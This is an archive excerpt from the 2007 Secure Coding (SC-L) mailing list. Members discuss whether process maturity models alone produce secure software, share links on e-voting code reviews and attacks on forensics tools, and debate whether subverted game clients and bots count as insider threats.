> aware of the lectures by Pascal Meunier at Purdue and by Dieter Gollmann
>
> at Hamburg-Harburg;  if you know of any others, I'd be glad to hear
> about 
> those, too.
>
> Kind regards from Germany,
> Holger Peine
>
>   


-- 
Robert C. Seacord
Senior Vulnerability Analyst
CERT/CC 

Work: 412-268-7608
FAX: 412-268-6989


From smurray1 at nycap.rr.com  Fri Aug  3 11:50:58 2007
From: smurray1 at nycap.rr.com (Sean T Murray)
Date: Fri, 3 Aug 2007 11:50:58 -0400
Subject: [SC-L] Careers in Secure application design and coding
Message-ID: <004801c7d5e6$15f2da60$1b10a8c0@murrayw2k1>

In case anyone hasn't yet heard, the State of California ordered a review of
the electronic voting machines they use.  Part of the review was a code
review and they just published thier results.

http://www.sos.ca.gov/elections/elections_vsr.htm

Ouch.


Sean T Murray


From fcojbn at yahoo.com.br  Tue Aug  7 07:01:45 2007
From: fcojbn at yahoo.com.br (Francisco Nunes)
Date: Tue, 7 Aug 2007 08:01:45 -0300 (ART)
Subject: [SC-L] Software process improvement produces secure software?
In-Reply-To: <mailman.1.1185552001.8177.sc-l@securecoding.org>
Message-ID: <251191.31781.qm@web53706.mail.re2.yahoo.com>

Dear list members.

In june 2007, I had an interesting conversation with
Mr. Will Hayes from SEI during the Brazilian Symposium
on Software Quality. It was a great experience and I
am very grateful for this.

During our conversation, I made a question to Mr.
Hayes similar to this: "Is it possible that only
software development process improvements can produce
secure software?"

The scenario was only based on CMMI without security
interference.

His answer to this question was "YES". My answer was
"I DO NOT THINK SO".

His answer made me confuse and I had no arguments,
mainly, because my professional experience in software
process does not compare to Mr. Haye's experience.

Unfortunately, I also haven't found any statistics
which could answer this question. Please, if there is
one, let me know!

So, how about you, list members? What are your answers
to the question above?

I will try to organize your answers and present the
final result.

Thank you.

Yours faithfully,
Francisco Jos? Barreto Nunes.


      Alertas do Yahoo! Mail em seu celular. Saiba mais em http://br.mobile.yahoo.com/mailalertas/

From mshines at purdue.edu  Tue Aug  7 09:00:48 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Tue, 7 Aug 2007 09:00:48 -0400
Subject: [SC-L] FW: [Dfsci] BlackHat paper on attacks against forensics
	software
Message-ID: <00e801c7d8f2$fa0f7230$4ea7d280@central.purdue.lcl>

fyi/msh
-----------------------------
Michael S Hines
mshines at purdue.edu


-----Original Message-----
From: dfsci-bounces at lists.dfrws.org [mailto:dfsci-bounces at lists.dfrws.org]
On Behalf Of Baker, Dave
Sent: Tuesday, August 07, 2007 8:27 AM
To: dfsci at dfrws.org
Subject: [Dfsci] BlackHat paper on attacks against forensics software

The paper presented at BlackHat this year on defects in some computer
forensics software packages is available from ISEC at this URL:

http://www.isecpartners.com/files/iSEC-Breaking_Forensics_Software-Pape
r.v1_1.BH2007.pdf

A second paper, by an attorney (not iSEC affiliated) discussed some legal
implications of security issues like those found in the BlackHat paper is
located at this URL:
http://www.isecpartners.com/files/Ridder-Evidentiary_Implications_of_Se
curity_Weaknesses_in_Forensic_Software.pdf

Dave B.
 --------------------------------------------------------------------
 David W. Baker                                    bakerd at mitre.org
 Lead Information Systems Engineer
 G122 - Information Analysis and Engineering       (703) 983-3658
 The MITRE Corporation                             (703) 983-5864 (F)
 Mailstop T730                                     (877) 682-0632 (P)
 7515 Colshire Drive                               McLean, VA, 22102
 --------------------------------------------------------------------

_______________________________________________
Dfsci mailing list
Dfsci at lists.dfrws.org
http://lists.dfrws.org/listinfo.cgi/dfsci-dfrws.org



From goertzel_karen at bah.com  Tue Aug  7 09:39:06 2007
From: goertzel_karen at bah.com (Goertzel, Karen)
Date: Tue, 7 Aug 2007 09:39:06 -0400
Subject: [SC-L] Software process improvement produces secure software?
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>
Message-ID: <184D5FFC5203644FB4F8864B0EE445B4E73CEF@MCLNEXVS06.resource.ds.bah.com>

I've always had a question about this as well; specifically, what is really meant by "adding security to a CMM"?

I've always felt that the level at which the software (or system) process is defined by a CMM is too high and too abstract for the addition of security activities to be particularly meaningful.

My feeling is that a CMM is best used as a means of ensuring that the more detailed life cycle process is implemented in a disciplined manner, and that the amount of benefit, in terms of improvement of whatever property one is trying to improve - quality, reliability, security, safety - of the system/software that results from the process can be measured.

Where the actual security activities need to be defined and added are to the life cycle methodology. At best, adding security to a CMM can provide a very high level framework for helping someone who is "shopping" for a life cycle methodology know what to look for in that methodology. Is a CMM necessary for that purpose? I'm not convinced that it is.

I think what is likely to be more effective is a change in outlook by the practitioners who will be using the life cycle methodology. Their outlook needs to change so that a single question is asked before any choice or decision is made: What are the security implications of the choice/decision?

Of course, there's much more to it than just asking that question. And that's the reason we need to train developers, testers, etc. to (1) understand what "security" means, both at the software and system levels; (2) visualise and recognise the possible impact(s) each of their choices/decisions could have on the security of the system they are building (before the fact); (3) recognise the impacts each of their choices/decisions has had on the security of the system they have built (after the fact). Tools and techniques to help developers do the second and third of these are proliferating (e.g., threat modeling, attack trees, etc. for before-the-fact; analysis and testing tools for after-the-fact). But in the end, I believe the #1 factor that will contribute to the increased security of software is the developer's mentality. A security-aware...and more importantly, a security-*concerned&...developer is more likely to (1) avoid making bad choices and decisions, and (2) to take an interest in, and pursue becoming, knowledgeable enough to correct bad choices that he/she did not avoid making earlier.

--
Karen Mercedes Goertzel, CISSP
Booz Allen Hamilton
703.902.6981
goertzel_karen at bah.com




-----Original Message-----
From: sc-l-bounces at securecoding.org on behalf of Francisco Nunes
Sent: Tue 07-Aug-07 07:01
To: sc-l at securecoding.org
Subject: [SC-L] Software process improvement produces secure software?
 
Dear list members.

In june 2007, I had an interesting conversation with
Mr. Will Hayes from SEI during the Brazilian Symposium
on Software Quality. It was a great experience and I
am very grateful for this.

During our conversation, I made a question to Mr.
Hayes similar to this: "Is it possible that only
software development process improvements can produce
secure software?"

The scenario was only based on CMMI without security
interference.

His answer to this question was "YES". My answer was
"I DO NOT THINK SO".

His answer made me confuse and I had no arguments,
mainly, because my professional experience in software
process does not compare to Mr. Haye's experience.

Unfortunately, I also haven't found any statistics
which could answer this question. Please, if there is
one, let me know!

So, how about you, list members? What are your answers
to the question above?

I will try to organize your answers and present the
final result.

Thank you.

Yours faithfully,
Francisco Jos? Barreto Nunes.


      Alertas do Yahoo! Mail em seu celular. Saiba mais em http://br.mobile.yahoo.com/mailalertas/
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070807/b925d7be/attachment.html 

From jjchryan at gwu.edu  Tue Aug  7 12:52:55 2007
From: jjchryan at gwu.edu (Julie Ryan)
Date: Tue, 7 Aug 2007 12:52:55 -0400
Subject: [SC-L] Software process improvement produces secure software?
In-Reply-To: <251191.31781.qm@web53706.mail.re2.yahoo.com>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>
Message-ID: <92fe58342c1e1b535bdf085bbf836ab9@gwu.edu>

A simple way to understand why implementing software development 
process improvement will not necessarily produce secure software is to 
read the Common Criteria.

yes, I know that it's opaque and hard to understand, but once you have 
gone through the process of writing a Protection Profile for an 
implementation independent information technology application, it 
becomes a lot clearer why simply having a good software development 
process does not imply secure software.

which is why I make all my students write a protection profile on a 
topic that I pick (the latest ones centered around computer forensics 
tools)


On Aug 7, 2007, at 7:01 AM, Francisco Nunes wrote:

> Dear list members.
>
> In june 2007, I had an interesting conversation with
> Mr. Will Hayes from SEI during the Brazilian Symposium
> on Software Quality. It was a great experience and I
> am very grateful for this.
>
> During our conversation, I made a question to Mr.
> Hayes similar to this: "Is it possible that only
> software development process improvements can produce
> secure software?"
>
> The scenario was only based on CMMI without security
> interference.
>
> His answer to this question was "YES". My answer was
> "I DO NOT THINK SO".
>
> His answer made me confuse and I had no arguments,
> mainly, because my professional experience in software
> process does not compare to Mr. Haye's experience.
>
> Unfortunately, I also haven't found any statistics
> which could answer this question. Please, if there is
> one, let me know!
>
> So, how about you, list members? What are your answers
> to the question above?
>
> I will try to organize your answers and present the
> final result.
>
> Thank you.
>
> Yours faithfully,
> Francisco Jos? Barreto Nunes.
>
>
>       Alertas do Yahoo! Mail em seu celular. Saiba mais em 
> http://br.mobile.yahoo.com/mailalertas/
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - 
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - 
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC 
> (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>
Julie J.C.H. Ryan, D.Sc.
Assistant Professor
Engineering Management and System Engineering
George Washington University

An NSA certified Center of Academic Excellence in Information Assurance 
Education

http://www.seas.gwu.edu/~jjchryan/
http://www.seas.gwu.edu/~infosec/



From ken at krvw.com  Wed Aug  8 10:34:09 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 8 Aug 2007 10:34:09 -0400
Subject: [SC-L] Software process improvement produces secure software?
In-Reply-To: <251191.31781.qm@web53706.mail.re2.yahoo.com>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>
Message-ID: <A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>


On Aug 7, 2007, at 7:01 AM, Francisco Nunes wrote:
> During our conversation, I made a question to Mr.
> Hayes similar to this: "Is it possible that only
> software development process improvements can produce
> secure software?"
>
> The scenario was only based on CMMI without security
> interference.

All that follows is IMHO, of course...  I would have to agree with  
you, Francisco, that process improvements "without security  
interference" are unlikely to produce significant changes in the  
security of the software produced.

That said, I am a believer in somewhat more rigorous security-based  
software process.  In particular, I think it's worth spending  
additional time/effort delving into the non-functional aspects of  
software, from requirements gathering through design as well as  
during the implementation/coding phases.  I think that solutions that  
focus solely on implementation improvement are not sufficient.  To  
me, a vital component in improving throughout the dev process must  
focus on process improvement.

That is, process improvement based not (necessarily) on CMMI, and  
_with_ "security interference".  :-)  But I also don't like to see  
process for the sake of _process_.  I'm fine with intelligently  
applied ad hoc processes, if that's not too much of a contradiction  
in terms.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070808/7927a01c/attachment.bin 

From gwc at acm.org  Thu Aug  9 20:04:32 2007
From: gwc at acm.org (George Capehart)
Date: Thu, 09 Aug 2007 20:04:32 -0400
Subject: [SC-L] Software process improvement produces secure software?
In-Reply-To: <A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>
References: <251191.31781.qm@web53706.mail.re2.yahoo.com>
	<A6ECCD6E-DA92-4D4A-BD51-81FE06B7F232@krvw.com>
Message-ID: <46BBAB90.2080605@acm.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Kenneth Van Wyk wrote:
> 
> On Aug 7, 2007, at 7:01 AM, Francisco Nunes wrote:
>> During our conversation, I made a question to Mr.
>> Hayes similar to this: "Is it possible that only
>> software development process improvements can produce
>> secure software?"
>>
>> The scenario was only based on CMMI without security
>> interference.
> 
> All that follows is IMHO, of course...  I would have to agree with you,
> Francisco, that process improvements "without security interference" are
> unlikely to produce significant changes in the security of the software
> produced.

<snip rest of discussion>

Hola all,

Was waiting to see if anyone threw out the SSE-CMM (System Security
Engineering Capability Maturity Model).  Though it's directed at the
whole SDLC and not just the software development process, IMHO it's good
to have in one's back pocket when planning it . . .

Cheers,

/g

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFGu6uPmuGMnN1wNOoRAscyAJ0Vecx3l73w0W1gLJnQnVD/Hj7Y2wCfaL7s
Ilqrf32fLf2x7N1tlqR/2kE=
=gGpu
-----END PGP SIGNATURE-----

From list-procurare at secureconsulting.net  Mon Aug 13 12:30:27 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Mon, 13 Aug 2007 12:30:27 -0400
Subject: [SC-L] Sw Dev Laws, Engineers and Feasibility
Message-ID: <004201c7ddc7$4222b630$0b01a8c0@zippy>

Ok, rather late in posting these, but thought it might help you get your
week off to a good start.  The first link is a list of laws of software
development.  You've undoubtedly heard of many of them, but it's still nice
to have a single place of reference for them.  Especially when faced with
making arguments against silly projects.  Speaking of which, I've also added
a second link below that is somewhat tongue-in-cheek defining what certain
key terms mean to engineers with respect to "feasibility" of projects.
Enjoy! :)

Laws of Software Development
http://globalnerdy.com/2007/07/18/laws-of-software-development/

Understanding Engineers: Feasibility
http://fishbowl.pastiche.org/2007/07/17/understanding_engineers_feasibility

cheers,

-ben

--
Benjamin Tomhave, MS, CISSP
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


From gem at cigital.com  Tue Aug 14 13:22:08 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 14 Aug 2007 13:22:08 -0400
Subject: [SC-L] Insider threats and software
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447835@va-mailhub.cigital.com>

Hi sc-l,

My darkreading column this month is devoted to insiders, but with a twist.  In this article, I argue that software components which run on untrusted clients (AJAX anyone?  WoW clients?) are an interesting new flavor of insider attack.

Check it out:
http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1_1

What do you think?  Is this a logical stretch or something obvious?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From michaelslists at gmail.com  Tue Aug 14 19:44:25 2007
From: michaelslists at gmail.com (silky)
Date: Wed, 15 Aug 2007 09:44:25 +1000
Subject: [SC-L] Insider threats and software
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2AC9447835@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA2AC9447835@va-mailhub.cigital.com>
Message-ID: <5e01c29a0708141644sd866ba1q845b6ba3cda21bd7@mail.gmail.com>

i really don't see how this is at all an 'insider' attack; given that
it is the common attack vector for almost every single remote exploit
strategy; look into the inner protocol of the specific app and form
your own messages to exploit it.



On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
> Hi sc-l,
>
> My darkreading column this month is devoted to insiders, but with a twist.  In this article, I argue that software components which run on untrusted clients (AJAX anyone?  WoW clients?) are an interesting new flavor of insider attack.
>
> Check it out:
> http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1_1
>
> What do you think?  Is this a logical stretch or something obvious?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
mike
http://lets.coozi.com.au/

From gem at cigital.com  Wed Aug 15 08:29:33 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 15 Aug 2007 08:29:33 -0400
Subject: [SC-L] Schneier on Assurance
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447972@va-mailhub.cigital.com>

Hi sc-l,

For the four of you out there who don't subscribe to Crypto-Gram, Bruce republished an article that he wrote for Wired on assurance.  It's well worth a read.  Nothing surprising to the sc-l community, of course, but it's nice when our position is bolstered.

http://www.wired.com/politics/security/commentary/securitymatters/2007/08/securitymatters_0809

http://tinyurl.com/2nyo8c

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From fw at deneb.enyo.de  Wed Aug 15 16:19:22 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Wed, 15 Aug 2007 22:19:22 +0200
Subject: [SC-L] Insider threats and software
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA2AC9447835@va-mailhub.cigital.com>
	(Gary McGraw's message of "Tue, 14 Aug 2007 13:22:08 -0400")
References: <41945506397C0C4886A8C5BFF089B5CA2AC9447835@va-mailhub.cigital.com>
Message-ID: <87eji4y2id.fsf@mid.deneb.enyo.de>

* Gary McGraw:

> My darkreading column this month is devoted to insiders, but with a
> twist.  In this article, I argue that software components which run
> on untrusted clients (AJAX anyone?  WoW clients?) are an interesting
> new flavor of insider attack.

I really wish this were something new. 8-(

In client/server applications, it's not too uncommon that the client
connects to the server with a hard-coded password, uses that to
download some kind of authentication table, and looks up a
user-supplied password in it.  If it's not found, the authentication
fails.  Apparantly, you can save some client licenses with such a
setup.

From pierre.parrend at insa-lyon.fr  Thu Aug 16 04:19:56 2007
From: pierre.parrend at insa-lyon.fr (Pierre Parrend)
Date: Thu, 16 Aug 2007 10:19:56 +0200
Subject: [SC-L] Insider threats and software
Message-ID: <1187252396.46c408acf1646@webmail.insa-lyon.fr>


Hello all,

 I do not agree with Mike's point of view. Of course the unique way to cheat a
system is to understand how it is working, and to abuse it. But the main
difference is that you can hardly talk about protocol in the case of
applications: if you have a given protocol, you 'just' need to build a firewall
that checks that the protocol is properly working. In the case of software level
insider attack, you would therefore need a dedicated firewall for every
application you provide, which seem difficult both in term of development and
performance cost.

The differences I see between the two cases are the following:

- attacks are now performed at the applicative level. And no simple interface
between the user and the application can be identified, since a heavy client is
involved (the interface is no longer a single protocol, but a whole
application).

- the matter becomes even worse if the systems are dynamic (such as with MIDP,
or OSGi, or any plug-in mechanism), which does not yet occurs with online
games, but soon could.

last case make a shift in the potential attacks quite likely: it is sufficient
to make malicious components freely available to perform attacks, even without
illegally modifying existing code. The problem of client-based attack is bound
with the one of integration of off-the-shelf components: how is it possible to
control the execution process for every self-developed of third party, local or
remote, piece of code ? Both involve application level 'protocols' to perform
insider attacks, which are not so easy to tackle,

I.e what Gary is describing is (to my view) not the ultimate insider, but a
step
toward a worsening of the security state of systems.

regards,

Pierre P.


Quoting silky <michaelslists at gmail.com>:

> i really don't see how this is at all an 'insider' attack; given that
> it is the common attack vector for almost every single remote exploit
> strategy; look into the inner protocol of the specific app and form
> your own messages to exploit it.
> 
> 
> 
> On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
> > Hi sc-l,
> >
> > My darkreading column this month is devoted to insiders, but with a twist. 
> In this article, I argue that software components which run on untrusted
> clients (AJAX anyone?  WoW clients?) are an interesting new flavor of insider
> attack.
> >
> > Check it out:
> > http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1_1
> >
> > What do you think?  Is this a logical stretch or something obvious?
> >
> > gem
> >
> > company www.cigital.com
> > podcast www.cigital.com/silverbullet
> > blog www.cigital.com/justiceleague
> > book www.swsec.com
> >
> > _______________________________________________
> 
> 
> -- 



-- 
Pierre Parrend
Ph.D. Student, Teaching Assistant
INRIA-INSA Lyon, France
pierre.parrend at insa-lyon
web : http://www.rzo.free.fr

From mshines at purdue.edu  Thu Aug 16 11:03:59 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Thu, 16 Aug 2007 11:03:59 -0400
Subject: [SC-L] Insider threats and software
In-Reply-To: <1187252396.46c408acf1646@webmail.insa-lyon.fr>
References: <1187252396.46c408acf1646@webmail.insa-lyon.fr>
Message-ID: <008501c7e016$acf5ca00$4ea7d280@central.purdue.lcl>

Doesn't an execution sandbox serve similar funtions to a firewall, but at
the host level?  Can't even more control be added to a sandbox than can be
set on a firewall?

Second, doesn't a host based firewall (even on desktops) provide the
security you are talking about (providing they work propery - which is
another topic).

Am I missing the point?

Or are you thinking of something that checks message queues for proper
semantics and syntax (since some OS's are message based and work from
message queues)?

M.
-----------------------------
Michael S Hines
mshines at purdue.edu

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Pierre Parrend
Sent: Thursday, August 16, 2007 4:20 AM
To: silky
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Insider threats and software


Hello all,

 I do not agree with Mike's point of view. Of course the unique way to cheat
a system is to understand how it is working, and to abuse it. But the main
difference is that you can hardly talk about protocol in the case of
applications: if you have a given protocol, you 'just' need to build a
firewall that checks that the protocol is properly working. In the case of
software level insider attack, you would therefore need a dedicated firewall
for every application you provide, which seem difficult both in term of
development and performance cost.

The differences I see between the two cases are the following:

- attacks are now performed at the applicative level. And no simple
interface between the user and the application can be identified, since a
heavy client is involved (the interface is no longer a single protocol, but
a whole application).

- the matter becomes even worse if the systems are dynamic (such as with
MIDP, or OSGi, or any plug-in mechanism), which does not yet occurs with
online games, but soon could.

last case make a shift in the potential attacks quite likely: it is
sufficient to make malicious components freely available to perform attacks,
even without illegally modifying existing code. The problem of client-based
attack is bound with the one of integration of off-the-shelf components: how
is it possible to control the execution process for every self-developed of
third party, local or remote, piece of code ? Both involve application level
'protocols' to perform insider attacks, which are not so easy to tackle,

I.e what Gary is describing is (to my view) not the ultimate insider, but a
step toward a worsening of the security state of systems.

regards,

Pierre P.


Quoting silky <michaelslists at gmail.com>:

> i really don't see how this is at all an 'insider' attack; given that
> it is the common attack vector for almost every single remote exploit
> strategy; look into the inner protocol of the specific app and form
> your own messages to exploit it.
>
>
>
> On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
> > Hi sc-l,
> >
> > My darkreading column this month is devoted to insiders, but with a
twist.
> In this article, I argue that software components which run on
> untrusted clients (AJAX anyone?  WoW clients?) are an interesting new
> flavor of insider attack.
> >
> > Check it out:
> > http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1
> > _1
> >
> > What do you think?  Is this a logical stretch or something obvious?
> >
> > gem
> >
> > company www.cigital.com
> > podcast www.cigital.com/silverbullet blog
> > www.cigital.com/justiceleague book www.swsec.com
> >
> > _______________________________________________
>
>
> --



--
Pierre Parrend
Ph.D. Student, Teaching Assistant
INRIA-INSA Lyon, France
pierre.parrend at insa-lyon
web : http://www.rzo.free.fr
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________



From paco at cigital.com  Thu Aug 16 13:40:42 2007
From: paco at cigital.com (Paco Hope)
Date: Thu, 16 Aug 2007 13:40:42 -0400
Subject: [SC-L] Security Testing track: Software Testing Conference:
	Washington DC
Message-ID: <C2EA045A.EA3A%paco@cigital.com>


Hey folks,

One of my strong beliefs is that we're never going to close the loop on "Building Security In" until we get the QA side of the house involved in security. To that end, I'm co-chairing VERIFY 2007, a software testing conference where we have a security testing track. (In addition to more typical QA issues like test automation) I thought some folks on this list may be interested in attending, or passing it on to your colleagues in QA organizations.

Conference web site is http://verifyconference.com/ and you can get a 2-page "Conference in a Nutshell" PDF here:
http://verifyconference.com/images/verify/verify2007.pdf

Please help me spread the word.

Thanks,
Paco
--
Paco Hope, CISSP
Co-Chair, VERIFY 2007
http://verifyconference.com/ * +1.703.606.1905


From ken at krvw.com  Thu Aug 16 16:16:37 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 16 Aug 2007 16:16:37 -0400
Subject: [SC-L] Opera Uses Mozilla Fuzzer Tool To Find 'Highly Severe' Bug
	-- Browser -- InformationWeek
Message-ID: <677D0F81-0225-4294-A93C-DF3BBCD63A5F@krvw.com>

Greetings SC-Lers,

Here's a great success story regarding Mozilla's new open source  
fuzzer that they just released during the blackhat conference:

http://www.informationweek.com/story/showArticle.jhtml? 
articleID=201800584&cid=RSSfeed_IWK_News

Kudos to the Opera team!

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070816/e0f1828d/attachment.bin 

From gem at cigital.com  Thu Aug 16 15:54:03 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 16 Aug 2007 15:54:03 -0400
Subject: [SC-L] Insider threats and software
In-Reply-To: <5e01c29a0708141644sd866ba1q845b6ba3cda21bd7@mail.gmail.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447DB9@va-mailhub.cigital.com>

Hi,

The point here is NOT to pull a person-in-the-middle attack against the protocol, but rather to subvert the client completely and have the subverted client do all of your talking for you.  The most advanced (game)bot techniques that we describe in EOG work by shimming (in an almost invisible way) the game client, then setting up a communication channel with another processor after a hardware interrupt in the main game thread is thrown.  For those of you with the book, see pages 228-230.

A less hairy approach is to attach to the game client as a debugger and just call methods like there's no tomorrow.  The only problem with that approach is it is like stomping around in the mud puddle and you are likely to be detected.

Effectively then, you ARE the client.  That's why I think it's more of an "insider" attack than your standard BO sploit.

gem

p.s. I added a little bit of data on the justice league blog about this:
http://www.cigital.com/justiceleague/2007/08/16/software-the-new-insider-threat/



-----Original Message-----
From: silky [mailto:michaelslists at gmail.com]
Sent: Tuesday, August 14, 2007 7:44 PM
To: Gary McGraw
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Insider threats and software

i really don't see how this is at all an 'insider' attack; given that
it is the common attack vector for almost every single remote exploit
strategy; look into the inner protocol of the specific app and form
your own messages to exploit it.



On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
> Hi sc-l,
>
> My darkreading column this month is devoted to insiders, but with a twist.  In this article, I argue that software components which run on untrusted clients (AJAX anyone?  WoW clients?) are an interesting new flavor of insider attack.
>
> Check it out:
> http://www.darkreading.com/document.asp?doc_id=131477&WT.svl=column1_1
>
> What do you think?  Is this a logical stretch or something obvious?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


--
mike
http://lets.coozi.com.au/


From gem at cigital.com  Thu Aug 16 15:59:50 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 16 Aug 2007 15:59:50 -0400
Subject: [SC-L] Insider threats and software {EOG}
In-Reply-To: <008501c7e016$acf5ca00$4ea7d280@central.purdue.lcl>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9447DBC@va-mailhub.cigital.com>

Hi Michael,

I think thinking about firewalls and protocol analysis is missing the point almost entirely.  Remember, the subverted client is behaving itself from the perspective of the server.  It's just doing normal game client things...only in the case of a bot it is being driven by outside logic written by the no-longer-present gamer who wants to create virtual wealth while sleeping.

How would a host-based firewall help?  The GAMER controls the host!  Why on earth would the gamer/attacker allow a firewall to get in the way of game client subversion?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Michael S Hines
Sent: Thursday, August 16, 2007 11:04 AM
To: SC-L at securecoding.org
Subject: Re: [SC-L] Insider threats and software

Doesn't an execution sandbox serve similar funtions to a firewall, but at
the host level?  Can't even more control be added to a sandbox than can be
set on a firewall?

Second, doesn't a host based firewall (even on desktops) provide the
security you are talking about (providing they work propery - which is
another topic).

Am I missing the point?

Or are you thinking of something that checks message queues for proper
semantics and syntax (since some OS's are message based and work from
message queues)?

M.
-----------------------------
Michael S Hines
mshines at purdue.edu

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Pierre Parrend
Sent: Thursday, August 16, 2007 4:20 AM
To: silky
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Insider threats and software


Hello all,

 I do not agree with Mike's point of view. Of course the unique way to cheat
a system is to understand how it is working, and to abuse it. But the main
difference is that you can hardly talk about protocol in the case of
applications: if you have a given protocol, you 'just' need to build a
firewall that checks that the protocol is properly working. In the case of
software level insider attack, you would therefore need a dedicated firewall
for every application you provide, which seem difficult both in term of
development and performance cost.

The differences I see between the two cases are the following:

- attacks are now performed at the applicative level. And no simple
interface between the user and the application can be identified, since a
heavy client is involved (the interface is no longer a single protocol, but
a whole application).

- the matter becomes even worse if the systems are dynamic (such as with
MIDP, or OSGi, or any plug-in mechanism), which does not yet occurs with
online games, but soon could.

last case make a shift in the potential attacks quite likely: it is
sufficient to make malicious components freely available to perform attacks,
even without illegally modifying existing code. The problem of client-based
attack is bound with the one of integration of off-the-shelf components: how
is it possible to control the execution process for every self-developed of
third party, local or remote, piece of code ? Both involve application level
'protocols' to perform insider attacks, which are not so easy to tackle,

I.e what Gary is describing is (to my view) not the ultimate insider, but a
step toward a worsening of the security state of systems.

regards,

Pierre P.


Quoting silky <michaelslists at gmail.com>:

> i really don't see how this is at all an 'insider' attack; given that
> it is the common attack vector for almost every single remote exploit
> strategy; look into the inner protocol of the specific app and form
> your own messages to exploit it.
>
>
>
> On 8/15/07, Gary McGraw <gem at cigital.com> wrote:
